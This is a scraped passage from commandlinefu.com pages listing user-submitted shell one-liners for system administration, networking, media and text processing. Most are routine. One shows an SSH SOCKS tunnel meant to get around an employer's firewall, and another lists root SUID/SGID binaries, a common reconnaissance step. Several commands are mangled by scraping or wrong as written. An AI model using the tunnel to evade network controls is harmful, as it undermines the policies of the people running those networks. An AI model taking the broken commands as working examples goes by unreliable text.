.bashrc. Background: Linux usually saves history only on clean exit of shell. If shell ends unclean, history is lost. Also numerous terminals might confuse their history. With this variable set, history is immedeately written, accessible to all other open shells. (Of course other commands can also be run thus.) alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp' Functions: alias mpg123 rm Burn a directory of mp3s to an audio cd. This uses mpg123 to convert the files to wav before burning, but you can use mplayer or mencoder or ffmpeg or lame with the --decode option, or whatever you like. inet_ip=`ifconfig wlan0 | grep inet | cut -d: -f2 | cut -d ' ' -f1` && echo $inet_ip 192.168.1.22 This command can be used to extract the IP address of the network. can be used within a script to configure iptables for example: iface=$2 inet_ip=`ifconfig "$iface" | grep inet | cut -d: -f2 | cut -d ' ' -f1` ipt="sudo /sbin/iptables" ......................... ---------------------------------------------------------------------------------------------------------------- $ipt -A INPUT -i $iface ! -f -p tcp -s $UL -d $inet_ip --sport 1023: --dport 3306 -m state --state NEW,ESTABLISHED -j ACCEPT ----------------------------------------------------------------------------------------------------------------- $ipt -A OUTPUT -o $iface -p tcp -s $inet_ip -d $UL --sport 3306 --dport 1023: -m state --state ESTABLISHED,RELATED -j ACCEPT mysqlcheck -a --auto-repair -c -o -uroot -p [DB] Analyze, check, auto-repair and optimize Mysql Database A useful way to do a full check and auto repair damaged databases sar -u 2 5 sar -u 2 5 09:52:36 PM CPU %user %nice %system %iowait %steal %idle Generate the CPU utilization report Generated the CPU utilization stats with 5 lines /every 2 seconds. Needs sysstat package to be installed prior to use sar. wget --server-response --spider http://www.example.com/ … HTTP/1.1 200 OK Date: Tue, 31 Mar 2009 18:42:46 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT ETag: "b80f4-1b6-80bfd280" Accept-Ranges: bytes Content-Length: 438 Connection: close Content-Type: text/html; charset=UTF-8 Let me suggest using wget for obtaining the HTTP header only as the last resort because it generates considerable textual overhead. The first ellipsis of the sample output stands for Spider mode enabled. Check if remote file exists. --2009-03-31 20:42:46-- http://www.example.com/ Resolving www.example.com... 208.77.188.166 Connecting to www.example.com|208.77.188.166|:80... connected. HTTP request sent, awaiting response... and the second one looks for Length: 438 [text/html] Remote file exists and could contain further links, but recursion is disabled -- not retrieving. echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g' 1+1+1+1+1+1+1+1+1+1+1+1+1+0+11+2+10+14+21+19+19+21+1+1+1+1 Functions: cut du echo sed cooking a list of numbers for calculation When you've got a list of numbers each on its row, the ECHO command puts them on a simple line, separated by space. You can then substitute the spaces with an operator. Finally, pipe it to the BC program. tcpdump -nnvvXSs 1514 -i <device> <filters> 16:28:55.658672 IP (tos 0x10, ttl 64, id 3208, offset 0, flags [DF], proto TCP (6), length 1500) 192.168.1.78.7169 > 170.94.194.189.57744: ., cksum 0x895c (correct), 1036377452:1036378900(1448) ack 5680651 win 3824 <nop,nop,timestamp 11006873 6395561> etc............ See entire packet payload using tcpdump. This command will show you the entire payload of a packet. The final "s" increases the snaplength, grabbing the whole packet. openssl s_client -connect www.example.com:443 -prexit GET / HTTP/1.1 Host: www.example.com read R BLOCK HTTP/1.1 403 Forbidden quit Acceptable client certificate CA names /C=US/O=YourOrg/OU=YourUnit/CN=YourCertificateAuthorityName1 /C=US/O=YourOrg/OU=YourUnit/CN=YourCertificateAuthorityName2 View acceptable client certificate CA names asked for during SSL renegotiations The key is to use the -prexit option at the command line, and then type "quit" instead of CTRL-C to exit OpenSSL. OpenSSL will then dump its last negotiated state, printing out the contents of the renegotiated handshake. Crucial for debugging client certificate configurations on web servers such as IIS, which renegotiate the SSL/TLS connection with the HTTP request in-flight to ask the client for a cert. diff <(tail -10 file1) <(tail -10 file2) Functions: diff tail diff output of two commands This only works in bash ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}' Uses the fabulous Hpricot library to parse HTML from Ruby. Extracts all elements of "command' class and displays unescaped text from inside these elements. The following command can help install dependencies (apart from Ruby itself) gem sources -a http://gems.github.com && sudo gem install why-hpricot touch -r "$FILE1" "$FILE2" $ touch -r /tmp/pp /tmp/pp2 $ ls -l /tmp/pp* -rw-r--r-- 1 www-data www-data 16 2009-08-08 08:08 /tmp/pp -rw-r--r-- 1 www-data www-data 0 2009-08-08 08:08 /tmp/pp2 Set creation timestamp of a file to the creation timestamp of another Creation timestamp of $FILE2 is changed to the same of $FILE1. If $FILE2 doesn't exist is created. alias restoremod='chgrp users -R .;chmod u=rwX,g=rX,o=rX -R .;chown $(pwd |cut -d / -f 3) -R .' Functions: alias chmod chown cut pwd users Restore user,group and mod of an entire website I often use it at my work, on an ovh server with root ssh access and often have to change mod after having finished an operation. This command, replace the user, group and mod by the one required by apache to work. script -f /tmp/foo; tail -f /tmp/foo <Terminal Output from First Terminal is in /tmp/foo> Functions: script tail Script Terminal Session script -f /tmp/foo will place all output of the terminal, including carriage returns, to a file. This file can be tail dash-eff'ed by one or more other terminals to display the information of the main terminal. Good way to share one's screen on short notice. Note: This produces a very accurate output, but that includes depending on the size of your terminal to be the same. You can clear screens or even resize the terminal for others using this function; I use it in conjunction with the "mid" command in my list. tail -f file1 (file2 .. fileN) ~$ tail -f file1 file2 ==> file1 <== ==> file2 <== new line in file1 new line in file2 Prints new content of files Useful to e.g. keep an eye on several logfiles. unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r Functions: awk grep rm xargs Remove annoying files from recently extracted zip archive Inspired by http://www.commandlinefu.com/commands/view/2573/remove-all-files-previously-extracted-from-a-tar.gz-file. .... yet for zip files host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0 Functions: cat echo host Test a serial connection If the connection works you should see a "hello" on host A. If not: check your cabeling etc :-) vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5 1. README.txt.swp 2. filesum.swp 3. reports.php.swp Functions: grep vim Find all files currently open in Vim and/or gVim Catches .swp, .swo, .swn, etc. If you have access to lsof, it'll give you more compressed output and show you the associated terminals (e.g., pts/5, which you could then use 'w' to figure out where it's originating from): lsof | grep '\.sw.$' If you have swp files turned off, you can do something like: ps x | grep '[g,v]im', but it won't tell you about files open in buffers, via :e [file]. dmidecode -t baseboard $ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc root@robby:/home/gnu# cdrdao read-cd --read-raw --datafile z.bin --device /dev/cdrom --driver generic-mmc-raw z.toc SCSI interface library - (C) Joerg Schilling Paranoia DAE library - (C) Monty Check http://cdrdao.sourceforge.net/drives.html#dt for current driver tables. Using libscg version 'ubuntu-0.8ubuntu1' /dev/cdrom: HL-DT-ST DVDRAM GSA-H12N Rev: UL01 Using driver: Generic SCSI-3/MMC (raw writing) - Version 2.0 (options 0x0000) Reading toc and track data... Track Mode Flags Start Length PQ sub-channel reading (data track) is supported, data format is BCD. Raw P-W sub-channel reading (data track) is supported. PQ sub-channel reading (audio track) is supported, data format is BCD. Raw P-W sub-channel reading (audio track) is supported. Copying data track 1 (MODE2_RAW): start 00:00:00, length 62:54:70 to "z.bin"... Copying audio tracks 2-2: start 62:56:70, length 03:01:31 to "z.bin"... Track 2... Found 26 Q sub-channels with CRC errors. Reading of toc and track data finished successfully. Functions: cdrdao backup your playstation game using rip $ python -u script.py unbuffered python output You have a python script that slowly prints output, you want to pipe the output to grep or tee, and you are impatient and want to watch the results right away. Rather than modify your script (making it slightly less efficient), use the -u option to have the output unbuffered. ‹ First < 105 106 107 108 109 > Last › du -scb [bbbco ~]$ du -scb 106105284745 . 106105284745 total [bbbco ~]$ du -sch 99G . 99G total Sum file sizes Even simpler! Use du ... the -s and -c flags summarize and print a grand total of all files recursively. The -b flag prints in byte format. You can use the -h flag instead to print in human readable format. netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail [root@vps10 root]# netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail Netstat Connection Check This command does a tally of concurrent active connections from single IPs and prints out those IPs that have the most active concurrent connections. VERY useful in determining the source of a DoS or DDoS attack. root@robby:/home/gnu# rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg Codage de entr?e standard ? la qualit? 5,00 rec wav: Length in output .wav header will be wrong since can't seek to fix it Input File : 'default' (alsa) Sample Size : 16-bit (2 bytes) Sample Encoding: signed (2's complement) Channels : 2 Sample Rate : 48000 Time: 00:01.62 [00:00.00] of 00:00.00 (0.00%) Samples out: 67.7k Clips: 0 ^C record the input of your sound card into ogg file save the input into a ogg file zless +/search_pattern file.gz Functions: zless Quick searching with less less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) ) Functions: cat less ls Scrollable Colorized Long Listing - Hidden Files Sorted Last To sort hidden files first, simply switch the two inner `ls` commands. I have this aliased to `dira` `dir` is aliased to the simpler version with no hidden files: ls -l --color=always | less -R APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi Functions: install sed sudo Launch a game, like Tetris, when apt-get installing an app larger than 50 Megabytes Change the APP variable's value to whatever you want to install. Depending on how fast your machine is, you'll want to adjust the value 50 to something else. You might also want to play a different game than Gnometris - just make sure it's a GUI game. diff -wubBEr -x .svn dirA dirB diff two svn repos ignoring spaces,tabs and svnfiles lsof -Pnl +M -i6:8080 The program listening on port 8080 through IPv6 ssh user@host "ps aux | grep httpd | wc -l" 36 Run a command on a remote machine This counts the number of httpd processes running. find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}' /home/sata/.mozilla/firefox/xmr8lfrq.default/Cache/FD44AC63d01 /home/sata/.mozilla/firefox/xmr8lfrq.default/Cache/C4C20071d01 /home/sata/.mozilla/firefox/xmr8lfrq.default/Cache/CD40802Cd01 Functions: awk file find Grab a list of MP3s (with full path) out of Firefox's cache Ever gone to a site that has an MP3 embedded into a pesky flash player, but no download link? Well, this one-liner will yank the *full path* of those tunes straight out of FF's cache in a clean list. Shorter and Intuitive version of the command submitted by (TuxOtaku) git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir Import/clone a Subversion repo to a git repo while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt snottin@drifter /tmp $ cat > somefile.txt snottin@drifter /tmp $ while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt Thu Feb 19 12:47:57 CST 2009,drifter,line 1 Thu Feb 19 12:47:57 CST 2009,drifter,line 2 Thu Feb 19 12:47:57 CST 2009,drifter,line 3 read a file line by line and perform some operation on each line see sample output echo ::memstat | mdb -k Show memory stats on Nexenta/Solaris perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt Prints any IP out of a file xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p $password 10.20.30.40 Open Remote Desktop (RDP) from command line having a custom screen size This example uses xfreerdp, which builds upon the development of rdesktop. This example usage will also send you the remote machine's sound. ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}' Pull Total Memory Usage In Virtual Environment This command basically adds up all of the individual instances processes and gives you a grand total for used memory in that instance alone. find -type -f -exec cp {} {}.bak \; Make backups recurse through directories ps -ef | awk '/process-name/ && !/awk/ {print}' $ ps -ef | awk '/mingetty/ && !/awk/ {print}' Search for an active process without catching the search-process This does the same thing as many of the 'grep' based alternatives but allows a more finite control over the output. For example if you only wanted the process ID you could change the command: ps -ef | awk '/mingetty/ && !/awk/ {print $2}' If you wanted to kill the returned PID's: ps -ef | awk '/mingetty/ && !/awk/ {print $2}' | xargs -i kill {} acpi -t | osd_cat -p bottom Functions: acpi On Screen micro display for battery and CPU temperature. nifty, small, omnipresent My firefox overheats my cpu, sometimes above 90 degrees Celsius ( hence the name? ) To keep an eye on temperature, I put this command inside KAlarm ( a kind of cron) to be repeated every minute, for 5 seconds, color red ( default for osd_cat). Its pretty, ultra small, displays a micro 2 lines text on every desktop and over everything and do not steal focus or interrupt any task. I get the information passively, in the low profile bottom of the screen. Of course you can use it inside a terminal. Just do it: watch -n 60 'acpi -t | osd_cat -p bottom' sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade Functions: egrep sudo Speed up upgrades for a debian/ubuntu based system. Please install aria2c before you try the above command. On ubuntu the command to install aria2c would be: sudo aptitude install aria2 find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \; postsuper -d ALL Remove all mail in Postfix mail queue. a command is running... <^z> fg; scheduled_command Schedule a command while one is already running. Useful when you have only one terminal session e.g. ssh. and want to queue up another command after the currently running has finished(in case if you forget to run that command). Originally used as ; python-updater when running emerge. When I have noticed that a package failed due to that command not run. ls -d .* route -n | perl -ne '$ANY="0.0.0.0"; /^$ANY/ and split /\s+/ and print "Gateway to the World: ",($_[1]!=$ANY)?$_[1]:(`ip address show $_[$#_]`=~/peer ([0-9\.]+)/ and $1),", via $_[$#_].\n"' Functions: perl route split Find default gateway (proper at ppp connections too) ‹ First < 106 107 108 109 110 > Last › export LSCOLORS=gxfxcxdxbxegedabagacad Mac OS X: Change Color of the ls Command I use terminal with black background on the Mac. Unfortunately, the default ls color for the directory is blue, which is very hard to see. By including the line above in my ~/.bash_profile file, I changed the directory's color to cyan, which is easer to see. For more information on the syntax of the LSCOLORS shell variable: man ls I tested this command on Mac OS X Leopard beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; } Functions: echo host ping read seq ping a host until it responds, then play a sound, then exit After this, just type: beepwhenup You need to install "beep" before this would make the beep sound. Save it in your .profile if you want to use it later WARNING: this command won't exit until it is successful. You won't be able to CONTROL+C out of it. zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync Zsync is an implementation of rsync over HTTP that allows updating of files from a remote Web server without requiring a full download. For example, if you already have a Debian alpha, beta or RC copy downloaded, zsync can just download the updated bits of the new release of the file from the server. This requires the distributor of the file to have created a zsync build control file (using zsyncmake). lft -NAS google.com TTL LFT trace to bs-in-f104.1e100.net (64.233.163.104):80/tcp 1 [AS?] [NULL] 10.1.1.1 0.2ms 2 [18881] [NET-189-32-0-0-S11] gvt-l0.b9.cpe.gvt.net.br (189.59.84.1) 5.3ms 3 [18881] [NET-189-32-0-0-S11] 189.59.89.217.static.host.gvt.net.br (189.59.89.217) 5.2ms 4 [18881] [NET-189-32-0-0-S11] gvt-ge-3-1.rc1.bsa.gvt.net.br (189.59.250.21) 29.1ms 5 [18881] [NET-189-32-0-0-S11] gvt-po-0-1-4-3-rc03.spo.gvt.net.br (189.59.248.161) 42.7ms 6 [18881] [NET-189-32-0-0-S11] gvt-te-0-0-0-0-rt01.spo.gvt.net.br (189.59.249.1) 46.1ms ** [neglected] no reply packets received from TTL 7 8 [15169] [GOOGLE] 209.85.243.198 45.0ms 9 [15169] [GOOGLE] 72.14.233.89 49.3ms 10 [15169] [GOOGLE] 64.233.175.58 45.6ms ** [neglected] no reply packets received from TTLs 11 through 14 15 [15169] [GOOGLE] [target open] bs-in-f104.1e100.net (64.233.163.104):80 49.3ms From the man page. lft ? display the route packets take to a network host/socket using one of several layer-4 protocols and methods; optionally show heuristic network information in transitu -A Enable lookup and display of of AS (autonomous system) numbers (e.g., [1]). This option queries one of several whois servers (see options 'C' and 'r') in order to ascertain the origin ASN of the IP address in question. By default, LFT uses the pWhoIs service whose ASN data tends to be more accurate and more timely than using the RADB as it is derived from the Internet's global routing table. -N Enable lookup and display of network or AS names (e.g., [GNTY-NETBLK-4]). This option queries Prefix WhoIs, RIPE NCC, or the RADB (as requested). In the case of Prefix WhoIs or RADB, the network name is displayed. In the case of RIPE NCC, the AS name is displayed. killall -u username Kick user autossh -N -D localhost:1080 myhome.example.net -p 443 <no output> Start a SOCKS proxy to avoid a restrictive firewall You may go to Internet by means of your home ssh server. You must configure your local proxy to send traffic through the proxy. Many programs allows that: firefox, pidgin, skype, gnome, etc. Your home ssh server must listen in any of the ports permitted by your enterprise firewall. That usually includes 80 and 443. find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm" $ find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "VirtualDirContext" jar tvf ./catalina.jar 4759 Fri Jul 20 04:17:30 BST 2007 org/apache/naming/resources/VirtualDirContext.class Search inside a folder of jar/zip files Great for finding which jar some pesky class is hiding in! vncviewer -via root@your.dyndns.com 192.168.1.1 Simple way to envoke a secure vnc session through ssh enabled router. The ip address is of the remote machine running the vncserver. Must log in first to the router then the VNC session. Very nice if you have open-wrt or dd-wrt on your router. sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls Find all files with root SUID or SGID executables true || false && echo true || echo false true Functions: echo false true Juste a reminder that this works. You can do some boolean logic like A or B then C else D using or : || and : && So you can do some : # false || false && echo true || echo false false # true || false && echo true || echo false true # false || true && echo true || echo false # true || true && echo true || echo false and so on ... I use it like : (ssh example.com 'test something') || $(ssh example.net 'test something') && echo ok || echo ko ls -l --time-style=+%Y-%m-%d | awk "/$(date +'%Y-%m-%d')/ {print \$7}" LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY This version eliminates the grep before the awk, which is always good. It works for GNU core utils and ensures that the date output of ls matches the format in the pattern match, regardless of locale, etc. On BSD-based systems, you can easily eliminate both the grep and the awk: find . -maxdepth 1 -Btime -$(date +%kh%lm) -type f sort -u < /sys/class/net/*/address List all MAC addresses on a Linux box. sort -u is useful when having virtual interfaces. lshw -C disk -html > /tmp/diskinfo.html Create a html of information about you harddisk du -ms * | sort -nk1 curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk Alternative to the ping check if your firewall blocks ping. Uses curl to get the landing page silently, or fail with an error code. You can probably do this with wget as well. xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock' Replace Caps-lock with Control-key You can return to defaults with "setxkbmap". More here: http://dailycli.blogspot.com/2009/12/xmodmap-replace-caps-lock-with-left.html grep -Eo \([0-9]\{1,3\}[\.]\)\{3\}[0-9] file | sort | uniq 83.233.165.56 92.123.73.25 92.123.73.57 92.123.73.8 95.100.117.11 Functions: file grep sort Extract IPv4 addressess from file watch -n <time_interval> "du -s <file_or_directory>" continuously check size of files or directories cat foo.csv bar.csv | sort -t "," -k 2 | uniq Functions: cat sort Compare two CSV files, discarding any repeated lines The value for the sort command's -k argument is the column in the CSV file to sort on. In this example, it sorts on the second column. You must use some form of the sort command in order for uniq to work properly. awk 'BEGIN{IGNORECASE=1;FS="<title>|";RS=EOF} {print $2}' file.html Extract title from HTML files | commandlinefu.com Case Insensitive! and Works even if the "..." spans over multiple line. Simple! :-) sed -n '/^.\{255\}/!p' remove lines which are longer than 255 alias vb='vim ~/.bashrc; source ~/.bashrc' Functions: alias col groff man Alias to edit and source your .bashrc file Place the line above in your ~/.bahsrc file. Now every time you issue the 'vb' command, you invoke the vim editor to edit it, then source it so the changes take effect immediately. * This mechanism is not working well if your .bashrc contains commands that should not be sourced more than once. * This trick also work for your csh or tclsh users: place the following line in your ~/.cshrc file: alias vc 'vim ~/.cshrc; source ~/.cshrc Thank you adzap for pointing out the missing quote \ls -1 | xargs -l readlink For those who don't have the symlinks command, you can use readlink. This command is not straightforward because readlink is very picky. The backslash in front of 'ls' means not to use an alias (e.g. color escape codes from an aliased 'ls' could mess up readlink), and the -1 (one) means to print the entries separated by newlines. xargs -l (the letter L) means to process each input separated by newlines as separate commands. cat file.txt | sed -e //d -e //G | sed -e '/./{H;$!d;}' -e 'x;//!d;' The command: cat file.txt | sed -e /^$/d -e /++-/G | sed -e '/./{H;$!d;}' -e 'x;/Lorem/!d;' Will print the message: ^$ Lorem ipsum dolor sit amet, consectetur adipiscing elit. ++- But not: Vestibulum fermentum molestie nunc a interdum. Functions: cat sed Multi line grep using sed and specifying open/close tags Working with log files that contains variable length messages wrapped between open and close tags it may be useful to filter the messages upon a keyword. This works fine with GNU sed version 4.2 or higher, so pay attention to some unix distros (solaris, hp-ux, etc.). Linux should be ok. curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json {"truncated":false,"user":{"followers_count":25,"profile_image_url":"http:\/\/s3.amazonaws.com\/twitter_production\/profile_images\/65645645\/tao_normal.JPG","description":"Running the bits of Tangent that create cool websites, online marketing and smart technology","screen_name":"g__j","url":"http:\/\/www.tangentplc.com","name":"Greg Jackson","protected":false,"location":"London, Engerland","id":17157813},"favorited":false,"created_at":"Fri Jan 30 17:21:30 +0000 2009","text":"tweeting from %the linux command line","in_reply_to_user_id":null,"in_reply_to_screen_name":null,... send tweets to twitter (and get user details) great for outputting tweets from cron jobs and batch scripts ‹ First < 107 108 109 110 111 > Last › git --no-pager whatchanged -1 --pretty=medium Show log message including which files changed for a given commit in git. ls -lah | grep ^l Functions: grep ls Many competing commands to do this, but since most people want a Long list with Human readable files sizes and want to see All files (including hidden (.*) files) this one wins on simplicity and usefulness. Plus grep is just as, if not more portable than sed or awk, and is more widely understood. :) find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2 Functions: bzip2 c++ find rev sort tar Slightly better compressed archives Avoids creating useless directory entries in archive, and sorts files by (roughly) extension, which is likely to group similar files together for better compression. 1%-5% improvement. awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: " $2 }' Processor (or core) running speed is: 1000.000 Processor real speed is: 2800 MHz Find the real procesor speed when you use CPU scaling [cpuspeed] We don't use CPU scaling, but just in case you do, there is something interesting to note. If you look at the /proc/cpuinfo, the speed listed is current running speed of the processors and not the real speed of the chip. ssh user@ -- tar cz | ssh user@ -- tar vxzC This is a 'nocd' alternative :) cut -d'/' -f3 file | sort | uniq -c 6 www.domain.one.com 11 www.domain.two.com 3 www.otherdomain.com 2 www.domainfour.es Functions: cut file sort uniq Count accesses per domain count the times a domain appears on a file which lines are URLs in the form http://domain/resource. ifconfig eth0 | grep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1 Functions: cut grep ifconfig Get IPv4 of eth0 for use with scripts Simple and easy. No regex, no search and replace. Just clean, built-in tools. ls -d $(echo ${PATH//:/ }) > /dev/null Functions: echo ls :set ic vi case insensitive search cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso Burn an ISO on the command line. for i in {1..100};do((($i%15==0))&&echo FizzBuzz)||((($i%5==0))&&echo Buzz)||((($i%3==0))&&echo Fizz)||echo $i;done; FizzBuzz One-liner FizzBuzz in 117 characters for the purpose of fitting it into a tweet with room to spare. find . -type f -perm +0111 -print Find files with at least one exec bit set gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=14 -dLastPage=17 -sOutputFile=OUTPUT.pdf ORIGINAL.pdf Extracting a range of pages from a PDF, using GhostScript In this example we extract pages 14-17 (> errors.log) && tail -f !^ Flush and then immediately start watching a file This is useful for keeping an eye on an error log while developing. The !^ pulls the first arg from the previous command (which needs to be run in a sub-shell for this shortcut to work). less +G View a file with less, starting at the end of the file The same as typing 'less filename' then 'G' or '>' or the END key. Comes in handy with shell scripts or aliases: alias weblog='less +G /var/log/httpd/access_log' alias errlog='less +G /var/log/httpd/error_log' top -b -n 1 top - 11:15:25 up 17 days, 2:38, 2 users, load average: 0.20, 0.15, 0.14 Tasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie Cpu(s): 5.8%us, 5.5%sy, 0.0%ni, 78.0%id, 10.3%wa, 0.0%hi, 0.2%si, 0.0%st PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3 root RT -5 0 0 0 S 0.0 0.0 0:00.00 migration/0 1268 messageb 20 0 14872 816 604 S 0.0 0.1 0:04.36 dbus-daemon 1396 haldaemo 20 0 33128 1408 1036 S 0.0 0.1 0:03.86 hald 1411 haldaemo 20 0 20776 624 620 S 0.0 0.1 0:00.00 hald-addon-acpi Functions: top Top Command in batch mode running top command in batch mode. it is usefull if you want to redirect the output in a file. dd if=inputfile of=split3 bs=16m count=32 skip=64 Split a file one piece at a time, when using the split command isn't an option (not enough disk space) bs = buffer size (basically defined the size of a "unit" used by count and skip) count = the number of buffers to copy (16m * 32 = 1/2 gig) skip = (32 * 2) we are grabbing piece 3...which means 2 have already been written so skip (2 * count) i will edit this later if i can to make this all more understandable sed -i 's/^M//' file Here "^M" is NOT "SHIFT+6" and "M". Type CTRL+V+M to get it instead. Its shortest and easy. And its sed!, which is available by default in all linux flavours.. no need to install extra tools like fromdos. watch -n 1 "/usr/sbin/lsof -p PID |awk '/TCP/{split(\$8,A,\":\"); split(A[2],B,\">\") ; split(B[1],C,\"-\"); print A[1],C[1],B[2], \$9}' | sort | uniq -c" Every 1.0s: /usr/sbin/lsof -p 24685 |awk '/TCP/{split($8,A,":"); split(A[2],B,">") ; split(B[1],C,"-"); print A[1],C[1],B[2], $9}' | sort | uniq -c Fri Aug 12 13:58:17 2011 Monitor incoming connections of proxies and balancers. Maybe this will help you to monitor your load balancers or reverse proxies if you happen to use them. This is useful to discover TIME OUTS and this will let you know if one or more of your application servers is not connected by checking. URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|) Functions: diff grep sort Find chronological errors or bad timestamps in a Subversion repository Lists revisions in a Subversion repository with a timestamp that doesn't follow the revision numbering order. If everything is OK, nothing is displayed. touch file-$(date +%Y%m%d) filename-20100524. Alternatives touch file-`date +%Y%m%d` touch file-$(date --iso) Functions: date touch creeate file named after actual date Create a file with actual date as filename fib(){ case $1 in 0)echo 0;;1)echo 1;;[0-9]*)echo $[$(fib $[$1-2])+$(fib $[$1-1])];;*)exit 1;;esac;} $ fib 2 Fibonacci With Case Returns the '$1'th Fibonacci number. ghc -e "mapM_ (\_->Data.ByteString.Char8.putStr (Data.ByteString.Char8.replicate (1024*1024) '\\255')) [1..24]" I'm both a one-liner fan and a haskell learner netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n netstat with group by (ip adress) find / -name "*.jpg" -print -exec rdjpgcom '{}' ';' /usr/share/pixmaps/faces/energy-arc.jpg /usr/share/pixmaps/faces/cat-eye.jpg /usr/share/pixmaps/faces/sunset.jpg /usr/share/pixmaps/faces/puppy.jpg /usr/share/pixmaps/faces/launch.jpg Imported from JPEG image: KSC-92PC-1402.jpg /usr/share/pixmaps/faces/dice.jpg Copyright 2003 by Gary Curtis /usr/share/pixmaps/faces/sunflower.jpg Find commets in jpg files. Finds comments in jpg files, but I can't figure out how to exclude (in output) files without comments. ‹ First < 108 109 110 111 112 > Last › fac(){ case $1 in 0|1)echo 1;;[0-9]*)echo $[$1*$(fac $[$1-1])];;*)exit 1;;esac } $ fac 4 24 Factorial With Case Computes factorials. export PROMPT_COMMAND='if (($? > 0)); then echo -ne "\033[1;31m"; fi'; export PS1='[\[\]\u\[\033[0m\] \[\033[1;34m\]\w\[\033[0m\]]\$ ' Colour part of your prompt red to indicate an error If the return code from the last command was greater than zero, colour part of your prompt red. The commands give a prompt like this: [user current_directory]$ After an error, the "[user" part is automatically coloured red. Tested using bash on xterm and terminal. Place in your .bashrc or .bash_profile. numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); } Functions: echo sed wc how many pages will my text files print on? This gives a very rough estimate of how many pages your text files will print on. Assumes 60 lines per page, and does not take long lines into account. ifconfig eth0 | grep "inet " | cut -d ':' -f2 | awk '{print $1}' Functions: awk cut grep ifconfig I've been using it in a script to build from scratch proxy servers. while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done Thermal 0: ok, 134.6 degrees F Functions: acpi ping read sleep Use acpi and notify-send to report current temperature every five minutes. works best in a shell script run at startup. It will ping localhost once and output to null, after it does that, acpi is called for temperature in fahrenheit and piped through to another loop that feeds notify-send for a tooltip. After waiting five minutes, it will start over. perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;' $ perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;' 1+2 $ perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;' 3x4 12 $ perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;' 5^6 $ perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;' v9 $ perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;' 9/4 2.25 $ perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;' 